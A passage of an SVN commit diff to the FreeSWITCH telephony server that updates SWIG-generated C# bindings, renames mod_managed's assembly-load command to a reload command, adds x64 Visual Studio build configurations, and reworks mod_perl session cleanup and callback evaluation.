+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
+using System;
+using System.Runtime.InteropServices;
+
 public class switch_say_interface : IDisposable {
   private HandleRef swigCPtr;
   protected bool swigCMemOwn;
@@ -23326,7 +24238,8 @@
   SST_POSTAL_ADDRESS,
   SST_ACCOUNT_NUMBER,
   SST_NAME_SPELLED,
-  SST_NAME_PHONETIC
+  SST_NAME_PHONETIC,
+  SST_SHORT_DATE_TIME
 }
 
 }
@@ -23520,7 +24433,9 @@
   SWITCH_SPEECH_FLAG_PEEK = (1 << 1),
   SWITCH_SPEECH_FLAG_FREE_POOL = (1 << 2),
   SWITCH_SPEECH_FLAG_BLOCKING = (1 << 3),
-  SWITCH_SPEECH_FLAG_PAUSE = (1 << 4)
+  SWITCH_SPEECH_FLAG_PAUSE = (1 << 4),
+  SWITCH_SPEECH_FLAG_OPEN = (1 << 5),
+  SWITCH_SPEECH_FLAG_DONE = (1 << 6)
 }
 
 }
@@ -23667,6 +24582,71 @@
     } 
   }
 
+  public switch_audio_resampler_t resampler {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_resampler_set(swigCPtr, switch_audio_resampler_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_speech_handle_resampler_get(swigCPtr);
+      switch_audio_resampler_t ret = (cPtr == IntPtr.Zero) ? null : new switch_audio_resampler_t(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_buffer buffer {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_buffer_set(swigCPtr, SWIGTYPE_p_switch_buffer.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_speech_handle_buffer_get(swigCPtr);
+      SWIGTYPE_p_switch_buffer ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_switch_buffer(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_unsigned_char dbuf {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_dbuf_set(swigCPtr, SWIGTYPE_p_unsigned_char.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_speech_handle_dbuf_get(swigCPtr);
+      SWIGTYPE_p_unsigned_char ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_unsigned_char(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t dbuflen {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_dbuflen_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_speech_handle_dbuflen_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public uint samplerate {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_samplerate_set(swigCPtr, value);
+    } 
+    get {
+      uint ret = freeswitchPINVOKE.switch_speech_handle_samplerate_get(swigCPtr);
+      return ret;
+    } 
+  }
+
+  public uint native_rate {
+    set {
+      freeswitchPINVOKE.switch_speech_handle_native_rate_set(swigCPtr, value);
+    } 
+    get {
+      uint ret = freeswitchPINVOKE.switch_speech_handle_native_rate_get(swigCPtr);
+      return ret;
+    } 
+  }
+
   public SWIGTYPE_p_void private_info {
     set {
       freeswitchPINVOKE.switch_speech_handle_private_info_set(swigCPtr, SWIGTYPE_p_void.getCPtr(value));
@@ -23768,13 +24748,13 @@
     } 
   }
 
-  public SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t speech_read_tts {
+  public SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t speech_read_tts {
     set {
-      freeswitchPINVOKE.switch_speech_interface_speech_read_tts_set(swigCPtr, SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t.getCPtr(value));
+      freeswitchPINVOKE.switch_speech_interface_speech_read_tts_set(swigCPtr, SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t.getCPtr(value));
     } 
     get {
       IntPtr cPtr = freeswitchPINVOKE.switch_speech_interface_speech_read_tts_get(swigCPtr);
-      SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t(cPtr, false);
+      SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t(cPtr, false);
       return ret;
     } 
   }
@@ -23919,7 +24899,9 @@
   SWITCH_SHN_ON_CONSUME_MEDIA,
   SWITCH_SHN_ON_HIBERNATE,
   SWITCH_SHN_ON_RESET,
-  SWITCH_SHN_ON_PARK
+  SWITCH_SHN_ON_PARK,
+  SWITCH_SHN_ON_REPORTING,
+  SWITCH_SHN_ON_DESTROY
 }
 
 }
@@ -24074,6 +25056,28 @@
     } 
   }
 
+  public SWIGTYPE_p_f_p_switch_core_session__switch_status_t on_reporting {
+    set {
+      freeswitchPINVOKE.switch_state_handler_table_on_reporting_set(swigCPtr, SWIGTYPE_p_f_p_switch_core_session__switch_status_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_state_handler_table_on_reporting_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_core_session__switch_status_t ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_core_session__switch_status_t(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_f_p_switch_core_session__switch_status_t on_destroy {
+    set {
+      freeswitchPINVOKE.switch_state_handler_table_on_destroy_set(swigCPtr, SWIGTYPE_p_f_p_switch_core_session__switch_status_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_state_handler_table_on_destroy_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_core_session__switch_status_t ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_core_session__switch_status_t(cPtr, false);
+      return ret;
+    } 
+  }
+
   public SWIGTYPE_p_p_void padding {
     set {
       freeswitchPINVOKE.switch_state_handler_table_padding_set(swigCPtr, SWIGTYPE_p_p_void.getCPtr(value));
@@ -25269,7 +26273,8 @@
   SWITCH_XML_SECTION_CONFIG = (1 << 0),
   SWITCH_XML_SECTION_DIRECTORY = (1 << 1),
   SWITCH_XML_SECTION_DIALPLAN = (1 << 2),
-  SWITCH_XML_SECTION_PHRASES = (1 << 3)
+  SWITCH_XML_SECTION_PHRASES = (1 << 3),
+  SWITCH_XML_SECTION_MAX = (1 << 4)
 }
 
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -54,7 +54,7 @@
 SWITCH_STANDARD_API(managedrun_api_function);	/* ExecuteBackground */
 SWITCH_STANDARD_API(managed_api_function);	/* Execute */
 SWITCH_STANDARD_APP(managed_app_function);	/* Run */
-SWITCH_STANDARD_API(managed_loadassembly); /* Load assembly */
+SWITCH_STANDARD_API(managedreload_api_function);	/* Reload */
 
 #define MOD_MANAGED_ASM_NAME "FreeSWITCH.Managed"
 #define MOD_MANAGED_ASM_V1 1
@@ -71,24 +71,24 @@
 typedef int (*runFunction)(const char *data, void *sessionPtr);
 typedef int (*executeFunction)(const char *cmd, void *stream, void *Event);
 typedef int (*executeBackgroundFunction)(const char* cmd);
-typedef int (*loadAssemblyFunction)(const char* filename);
+typedef int (*reloadFunction)(const char* cmd);
 static runFunction runDelegate;
 static executeFunction executeDelegate;
 static executeBackgroundFunction executeBackgroundDelegate;
-static loadAssemblyFunction loadAssemblyDelegate;
+static reloadFunction reloadDelegate;
 
-SWITCH_MOD_DECLARE(void) InitManagedDelegates(runFunction run, executeFunction execute, executeBackgroundFunction executeBackground, loadAssemblyFunction loadAssembly) 
+SWITCH_MOD_DECLARE_NONSTD(void) InitManagedDelegates(runFunction run, executeFunction execute, executeBackgroundFunction executeBackground, reloadFunction reload) 
 {
 	runDelegate = run;
 	executeDelegate = execute;
 	executeBackgroundDelegate = executeBackground;
-	loadAssemblyDelegate = loadAssembly;
+	reloadDelegate = reload;
 }
 
 // Sets up delegates (and anything else needed) on the ManagedSession object
 // Called from ManagedSession.Initialize Managed -> this is Unmanaged code so all pointers are marshalled and prevented from GC
 // Exported method.
-SWITCH_MOD_DECLARE(void) InitManagedSession(ManagedSession *session, inputFunction dtmfDelegate, hangupFunction hangupDelegate) 
+SWITCH_MOD_DECLARE_NONSTD(void) InitManagedSession(ManagedSession *session, inputFunction dtmfDelegate, hangupFunction hangupDelegate) 
 {
 	switch_assert(session);
 	if (!session) {
@@ -362,7 +362,7 @@
 	SWITCH_ADD_API(api_interface, "managedrun", "Run a module (ExecuteBackground)", managedrun_api_function, "<module> [<args>]");
 	SWITCH_ADD_API(api_interface, "managed", "Run a module as an API function (Execute)", managed_api_function, "<module> [<args>]");
 	SWITCH_ADD_APP(app_interface, "managed", "Run CLI App", "Run an App on a channel", managed_app_function, "<modulename> [<args>]", SAF_NONE);
-	SWITCH_ADD_API(api_interface, "managedload", "Load assembly", managed_loadassembly, "<filename>");
+	SWITCH_ADD_API(api_interface, "managedreload", "Force [re]load of a file", managedreload_api_function, "<filename>");
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -406,16 +406,14 @@
 	}
 }
 
-SWITCH_STANDARD_API(managed_loadassembly)
+SWITCH_STANDARD_API(managedreload_api_function) 
 {
 	if (switch_strlen_zero(cmd)) {
 		stream->write_function(stream, "-ERR no args specified!\n");	
 		return SWITCH_STATUS_SUCCESS;
 	}
-	if (loadAssemblyDelegate(cmd)) {
-		stream->write_function(stream, "+OK\n");
-	} else {	
-		stream->write_function(stream, "-ERR LoadAssembly returned false (invalid file or exception).\n");
+	if (!(reloadDelegate(cmd))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Execute failed for %s (unknown module or exception).\n", cmd); 
 	}
 	return SWITCH_STATUS_SUCCESS;
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/mod_managed.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -99,6 +102,88 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug_CLR|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			ManagedExtensions="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=""
+				AdditionalUsingDirectories=""
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				MinimalRebuild="false"
+				BasicRuntimeChecks="0"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="shlwapi.lib mscoree.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				LinkIncremental="2"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				AssemblyDebug="1"
+				SubSystem="0"
+				DataExecutionPrevention="1"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release_CLR|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -179,6 +264,86 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release_CLR|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="1"
+			ManagedExtensions="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories=""
+				AdditionalUsingDirectories=""
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;MOD_MONO_EXPORTS"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\release/mod/$(ProjectName).dll"
+				LinkIncremental="1"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug_Mono|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -260,6 +425,88 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug_Mono|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			ManagedExtensions="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;C:\Program Files\Mono\lib\glib-2.0\include&quot;;&quot;C:\Program Files\Mono\include\glib-2.0&quot;;&quot;C:\Program Files\Mono\include\mono-1.0&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_MONO_EXPORTS;MOD_EXPORTS"
+				MinimalRebuild="false"
+				BasicRuntimeChecks="0"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="shlwapi.lib mono.lib &quot;C:\program Files\Mono\lib\glib-2.0.lib&quot;"
+				LinkIncremental="2"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				AssemblyDebug="0"
+				SubSystem="0"
+				DataExecutionPrevention="1"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release_Mono|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -338,6 +585,86 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release_Mono|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="1"
+			ManagedExtensions="0"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="..\..\..\..\libs\apr\include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;MOD_MONO_EXPORTS"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				ModuleDefinitionFile=""
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/runswig.cmd (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/runswig.cmd	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/runswig.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,4 @@
-\dev\swig\swig.exe -I..\..\..\include -v -O -c++ -csharp -namespace FreeSWITCH.Native -dllimport mod_managed freeswitch.i 
+\dev\swig\swig.exe -I..\..\..\include -v -O -c++ -csharp -namespace FreeSWITCH.Native -dllimport mod_managed -DSWIG_CSHARP_NO_STRING_HELPER freeswitch.i 
 del swig.csx
 @ECHO OFF
 for %%X in (*.cs) do type %%X >> swig.csx

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/switch_platform.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/switch_platform.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/switch_platform.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -28,9 +28,12 @@
   }
 %}
 
+%newobject EventConsumer::pop;
+
 #define SWITCH_DECLARE(type) type
 #define SWITCH_DECLARE_NONSTD(type) type
 #define SWITCH_MOD_DECLARE(type) type
+#define SWITCH_MOD_DECLARE_NONSTD(type) type
 #define SWITCH_DECLARE_DATA
 #define SWITCH_MOD_DECLARE_DATA
 #define SWITCH_THREAD_FUNC

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,10 +23,10 @@
 orig: mod_perl_wrap.cpp
 	patch -R -s -p0 -i hack.diff
 
-freeswitch.$(DYNAMIC_LIB_EXTEN): $(LOCAL_OBJS) $(LOCAL_LIBADD)
-	$(LINK) $(SOLINK) -o freeswitch.$(DYNAMIC_LIB_EXTEN)  $(LOCAL_OBJS) $(LOCAL_LIBADD) $(LDFLAGS)
+freeswitch.$(LIBTOOL_LIB_EXTEN): $(LOCAL_OBJS) $(LOCAL_LIBADD)
+	$(CXXLINK) $(SOLINK) -o freeswitch.$(LIBTOOL_LIB_EXTEN) $(LOCAL_OBJS) $(LOCAL_LIBADD) $(LDFLAGS)
 
-local_all: freeswitch.$(DYNAMIC_LIB_EXTEN)
+local_all: freeswitch.$(LIBTOOL_LIB_EXTEN)
 
 .perlok:
 	@(${PERL} -V | grep -i usemultiplicity=define >/dev/null && echo Phew, You have the right perl.) \
@@ -34,9 +34,9 @@
 	@touch .perlok
 
 local_clean:
-	rm -fr *~ .perlok freeswitch.$(DYNAMIC_LIB_EXTEN)
+	rm -fr *~ .perlok .libs freeswitch.$(LIBTOOL_LIB_EXTEN) 2>/dev/null
 
 depend_install:
 	mkdir -p $(DESTDIR)$(PREFIX)/perl
-	$(LTINSTALL) freeswitch.$(DYNAMIC_LIB_EXTEN) freeswitch.pm $(DESTDIR)$(PREFIX)/perl
+	$(LTINSTALL) freeswitch.$(LIBTOOL_LIB_EXTEN) freeswitch.pm $(DESTDIR)$(PREFIX)/perl
 	if [ ! -f $(DESTDIR)$(PREFIX)/perl/freeswitch.pm ] ; then $(LTINSTALL) freeswitch.pm $(DESTDIR)$(PREFIX)/perl ; fi

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,6 +9,7 @@
 //%cstring_bounded_mutable(char *dtmf_buf, 128);
 //%cstring_bounded_mutable(char *terminator, 8);
 
+%newobject EventConsumer::pop;
 
 /** insert the following includes into generated code so it compiles */
 %{

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.pm (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.pm	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch.pm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -122,6 +122,7 @@
 
 *execute = *freeswitchc::API_execute;
 *executeString = *freeswitchc::API_executeString;
+*getTime = *freeswitchc::API_getTime;
 sub DISOWN {
     my $self = shift;
     my $ptr = tied(%$self);
@@ -477,6 +478,7 @@
     }
 }
 
+*destroy = *freeswitchc::Session_destroy;
 *begin_allow_threads = *freeswitchc::Session_begin_allow_threads;
 *end_allow_threads = *freeswitchc::Session_end_allow_threads;
 *check_hangup_hook = *freeswitchc::Session_check_hangup_hook;

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,20 +44,35 @@
 	}
 }
 static switch_status_t perl_hanguphook(switch_core_session_t *session_hungup);
-Session::~Session()
+
+void Session::destroy(void)
 {
-	switch_safe_free(cb_function);
-	switch_safe_free(cb_arg);
+	
+	if (!allocated) {
+		return;
+	}
 
-	if (session && hangup_func_str) {
+	if (session) {
+		if (!channel) {
+			channel = switch_core_session_get_channel(session);
+		}
+		switch_channel_set_private(channel, "CoreSession", NULL);
 		switch_core_event_hook_remove_state_change(session, perl_hanguphook);
 	}
 
+	switch_safe_free(cb_function);
+	switch_safe_free(cb_arg);
 	switch_safe_free(hangup_func_str);
-	switch_safe_free(hangup_func_arg);
+	switch_safe_free(hangup_func_arg);	
 
+	CoreSession::destroy();
 }
 
+Session::~Session()
+{
+	destroy();
+}
+
 bool Session::begin_allow_threads()
 {
 	do_hangup_hook();
@@ -214,7 +229,7 @@
 			HV *hash;
 			SV *this_sv;
 			char *code;
-
+			
 			if (!(hash = get_hv("__dtmf", TRUE))) {
 				abort();
 			}
@@ -228,8 +243,8 @@
 			this_sv = newSV(strlen(str) + 1);
 			sv_setpv(this_sv, str);
 			hv_store(hash, "duration", 8, this_sv, 0);
-
-			code = switch_mprintf("$__RV = %s($%s, 'dtmf', \\%%__dtmf, %s);", cb_function, suuid, switch_str_nil(cb_arg));
+			
+			code = switch_mprintf("eval { $__RV = &%s($%s, 'dtmf', \\%%__dtmf, %s);};", cb_function, suuid, switch_str_nil(cb_arg));
 			Perl_eval_pv(my_perl, code, FALSE);
 			free(code);
 
@@ -241,11 +256,25 @@
 			switch_event_t *event = (switch_event_t *) input;
 			int arg_count = 2;
 			char *code;
+			switch_uuid_t uuid;
+			char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+			char var_name[SWITCH_UUID_FORMATTED_LENGTH + 25];
+			char *p;
 
-			mod_perl_conjure_event(my_perl, event, "__Input_Event__");
+			switch_uuid_get(&uuid);
+			switch_uuid_format(uuid_str, &uuid);
 
-			code = switch_mprintf("$__RV = %s($%s, 'event', $__Input_Event__, %s);", cb_function, suuid, switch_str_nil(cb_arg));
-			Perl_eval_pv(my_perl, code, TRUE);
+			switch_snprintf(var_name, sizeof(var_name), "main::__event_%s", uuid_str);
+			for(p = var_name; p && *p; p++) {
+				if (*p == '-') {
+					*p = '_';
+				}
+			}
+
+			mod_perl_conjure_event(my_perl, event, var_name);
+			code = switch_mprintf("eval {$__RV = &%s($%s, 'event', $%s, '%s');};$%s = undef;", 
+								  cb_function, suuid, var_name, switch_str_nil(cb_arg), var_name);
+			Perl_eval_pv(my_perl, code, FALSE);
 			free(code);
 
 			return process_callback_result(SvPV(get_sv("__RV", TRUE), n_a));

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/freeswitch_perl.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,7 +31,8 @@
     Session(char *uuid, CoreSession *a_leg = NULL);
     Session(switch_core_session_t *session);
     ~Session();        
-	
+
+	virtual void destroy(void);	
 	virtual bool begin_allow_threads();
 	virtual bool end_allow_threads();
 	virtual void check_hangup_hook();

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
